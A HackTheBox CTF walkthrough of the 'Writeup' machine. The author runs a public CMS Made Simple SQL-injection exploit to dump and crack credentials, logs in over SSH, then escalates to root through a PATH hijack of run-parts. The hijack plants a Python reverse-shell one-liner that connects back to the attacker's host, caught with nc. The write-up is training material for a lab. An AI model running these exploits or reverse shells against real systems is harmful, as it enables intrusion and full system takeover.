HackTheBox - Writeup

— Written by — 6 min read
writeup-hackthebox

Writeup was my first machine I solved to start my CTF journey. It’s an easy rated box but still interesting and perfect to jump into the CTF bath!

User Flag

Recon

Let’s start with the classic nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
[hg8@archbook ~]$ nmap -sV -sT -sC writeup.htb           
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-01 10:39 CEST
Nmap scan report for writeup.htb (10.10.10.138)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/writeup/
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Nothing here yet.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 32.23 seconds

A classic, port 80 and 22. nmap did a bit extra work for us and found the the robots.txt show an interesting entry : /writeup/

First thing we see when opening the 80 port is this message :

2019-09-01-105047_1387x643_scrot

So there a DOS protection checking apache logs for 40X errors. Probably a fail2ban or something. Let’s avoid classic enumeration scripts to not get banned.

The footer says :

Page is hand-crafted with vi.

That’s an interesting fact to keep in mind, maybe can access vi backups file (something like index.php~ or index.php.swp) and have a look at the source code.

The /writeup/ endpoint countains, well, writeups. The website seems rather basic :

2019-09-01-105747_1455x764_scrot

Each writeup is accessible throught the URL in the following form :

1
http://writeup.htb/writeup/index.php?page={writeup-name}

After digging a bit we found there is no Local File Inclusion vulnerabilities nor vim backup files accessible.

Exploit

Checking the source code inform us that the website was made using CMS Made Simple :

1
2
3
4
5
6
7
8
9
10
11
12
13
[hg8@archbook ~]$ http writeup.htb/writeup/index.php
HTTP/1.1 200 OK
Server: Apache/2.4.25 (Debian)
Set-Cookie: CMSSESSID9d3962=lgt7j00rvndgl4; path=/
Vary: Accept-Encoding

<!doctype html>
<html lang="en_US"><head>
<title>Home - writeup</title>

<base href="http://writeup.htb/writeup/" />
<meta name="Generator" content="CMS Made Simple - Copyright (C) 2004-2019. All rights reserved." />
[...]

A quick search return a fairly recent vulnerability, CVE-2019-9053 :

An issue was discovered in CMS Made Simple 2.2.8. It is possible with the News module, through a crafted URL, to achieve unauthenticated blind time-based SQL injection via the m1_idlist parameter.

And an exploit is already available, perfect!

Looking at the source code we can see we have a very well crafted and complete exploit. It will :

  1. Dump the salt used by CMS Made Simple
  2. Dump the username
  3. Dump the email
  4. Dump the password
  5. And even have a function to crack the found hashed password

Let’s try it :

1
2
3
4
5
6
7
[hg8@archbook ~]$ wget https://www.exploit-db.com/raw/46635 -O cmssimple.py
[hg8@archbook ~]$ python cmssimple.py -u http://writeup.htb/writeup/ --crack -w "~/SecLists/Passwords/Leaked-Databases/rockyou.txt"
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: [email protected]
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[+] Password cracked: raykayjay9

Really nice exploit here. So we have an username and a password.

The CMS Made Simple admin page can not be accessed using those credentials, so let’s try with SSH :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ssh [email protected]
[email protected]'s password:
Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Sep 1 05:07:51 2019 from 10.10.10.85
jkr@writeup:~$ cat user.txt
d4e493fd40xxxxxxxxxxxxxx319f978
jkr@writeup:~$

Root Flag

Recon

As a recon phase let’s run pspy to check running process. And paying closer attention de process run as root.

1
2
3
4
5
$ # Attacker box
[hg8@archbook ~]$ wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
[hg8@archbook ~]$ scp pspy64 [email protected]:~
[email protected]'s password:
pspy64 100% 3006KB 111.9KB/s 00:26
1
jkr@writeup:~$ chmod +x pspy64  && ./pspy64

After watching the processes for a while, we will see a few other users succeding the user challenge and connect to SSH aswell. And something interresting appears :

1
2
3
4
5
6
7
8
05:37:15 CMD: UID=0    PID=11674  | sshd: [accepted]
05:37:15 CMD: UID=102 PID=11675 | sshd: [net]
05:37:29 CMD: UID=0 PID=11676 | sshd: jkr [priv]
05:37:29 CMD: UID=0 PID=11677 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
05:37:29 CMD: UID=0 PID=11678 | run-parts --lsbsysinit /etc/update-motd.d
05:37:29 CMD: UID=0 PID=11679 | uname -rnsom
05:37:29 CMD: UID=0 PID=11680 | sshd: jkr [priv]
05:37:29 CMD: UID=1000 PID=11681 | sshd: jkr@pts/2

A few commands are run as root upon users login. Let’s dig.

First command that caught the attention is run-parts --lsbsysinit /etc/update-motd.d

1
2
[hg8@archbook ~]$ man run-parts
run-parts runs all the executable files named within constraints described below, found in directory [directory].

Sounds promising. If we can add a script to /etc/update-motd.d it will be executed as root on next login.

Unfortunately we don’t have writting rights to /etc/update-motd.d nor to the file present in it:

1
2
3
jkr@writeup:~$ ls -l /etc/update-motd.d/
total 4
-rwxr-xr-x 1 root root 23 Jun 3 2018 10-uname

That looks like a dead end here.

Another thing we noticed is that executable are called in relative path and not absolute. And the first command gives the full PATH env variable before launching the run-parts command.

1
sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 

As a reminder, when a command is called Linux will search in the PATH environement variable to find where this executable is located. So in the command above, Linux system will first look in the /usr/local/sbin to see if run-parts is there, then in /usr/local/bin etc…

Let’s check where run-parts is :

1
2
jkr@writeup:~$ which run-parts
/bin/run-parts

So it’s /bin/ folder, the last on the PATH list. That mean if we can write an executable named run-parts in either :

  • /usr/local/sbin/
  • /usr/local/bin/
  • /usr/sbin/
  • /usr/bin/
  • /sbin/

then it will be ran instead of the real /bin/run-parts and as root. If we have writting rights in any of those folder then it’s bingo.

Privilege escalation

1
2
3
4
5
# Bash reserve shell doesn't work, let's use the python one
jkr@writeup:~$ cat /usr/local/sbin/run-parts
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.85",8585));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
jkr@writeup:~$ chmod +x /usr/local/sbin/run-parts
jkr@writeup:~$

Let’s listen to incoming connection :

1
2
nc -l -vv -p 8585
Listening on any address 8585

Now we logout and login again to the box to initiate the sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new command.

And surely we receive the connection immediatly :

1
2
3
4
5
6
7
nc -l -vv -p 8585
Listening on any address 8585
Connection from 10.10.10.138:37078
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
eeba4xxxxxxxxxxxx8d7226

That’s it! As always do not hesitate to contact me for any questions or feedbacks.

See you next time !

-hg8



CTFHackTheBoxEasy Box
, , , , , ,